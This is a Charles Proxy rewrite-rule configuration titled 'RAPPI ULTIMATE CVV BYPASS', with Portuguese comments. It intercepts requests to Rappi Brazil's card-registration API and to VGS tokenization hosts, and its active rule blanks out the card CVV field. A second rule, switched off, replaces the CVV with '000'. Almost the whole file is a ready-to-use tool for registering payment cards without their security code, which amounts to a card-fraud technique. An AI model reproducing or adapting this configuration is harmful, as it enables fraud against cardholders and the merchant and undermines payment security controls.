newrappi
newrappi
>
<rewriteSet-array>
<rewriteSet>
<active>true</active>
<name>RAPPI ULTIMATE CVV BYPASS</name>
<description>Versão robusta para bypass de CVV no Rappi, compatível com
múltiplos endpoints e formatos de dados</description>
<hosts>
<locationPatterns>
<!-- Endpoint principal para registro de cartão -->
<locationMatch>
<location>
<protocol>https</protocol>
<host>services.rappi.com.br</host>
<path>/user-asset-account/api/register/v3</path>
</location>
<enabled>true</enabled>
</locationMatch>
<!-- Integração VGS para coleta de dados sensíveis -->
<locationMatch>
<location>
<protocol>https</protocol>
<host>vgs-collect-keeper.apps.verygood.systems</host>
<path>/vgs</path>
</location>
<enabled>true</enabled>
</locationMatch>
<!-- Proxy VGS para tokenização -->
<locationMatch>
<location>
<protocol>https</protocol>
<host>tntermlxyzg.live.verygoodproxy.com</host>
<path>/payment-vault/auth/token/VGS</path>
</location>
<enabled>true</enabled>
</locationMatch>
</locationPatterns>
</hosts>
<rules>
<!-- Regra principal: Remove CVV em diferentes formatos -->
<rewriteRule>
<active>true</active>
<ruleType>7</ruleType>
<matchValue>"(card_cvv|cvv|securityCode|security_code)":\s*"([0-9]
{3,4})"</matchValue>
<matchHeaderRegex>false</matchHeaderRegex>
<matchValueRegex>true</matchValueRegex>
<matchRequest>true</matchRequest>
<matchResponse>false</matchResponse>
<newValue>"$1":""</newValue>
<newHeaderRegex>false</newHeaderRegex>
<newValueRegex>false</newValueRegex>
<matchWholeValue>false</matchWholeValue>
<caseSensitive>false</caseSensitive>
<replaceType>2</replaceType>
<description>Substitui campos de CVV (card_cvv, cvv, securityCode,
security_code) por string vazia, mantendo o nome do campo</description>
</rewriteRule>
<!-- Regra opcional: Substitui CVV por valor fixo para testes (desativada por
padrão) -->
<rewriteRule>
<active>false</active>
<ruleType>7</ruleType>
<matchValue>"(card_cvv|cvv|securityCode|security_code)":\s*"([0-9]
{3,4})"</matchValue>
<matchHeaderRegex>false</matchHeaderRegex>
<matchValueRegex>true</matchValueRegex>
<matchRequest>true</matchRequest>
<matchResponse>false</matchResponse>
<newValue>"$1":"000"</newValue>
<newHeaderRegex>false</newHeaderRegex>
<newValueRegex>false</newValueRegex>
<matchWholeValue>false</matchWholeValue>
<caseSensitive>false</caseSensitive>
<replaceType>2</replaceType>
<description>Substitui CVV por "000" para simulação ou testes (ative se
necessário)</description>
</rewriteRule>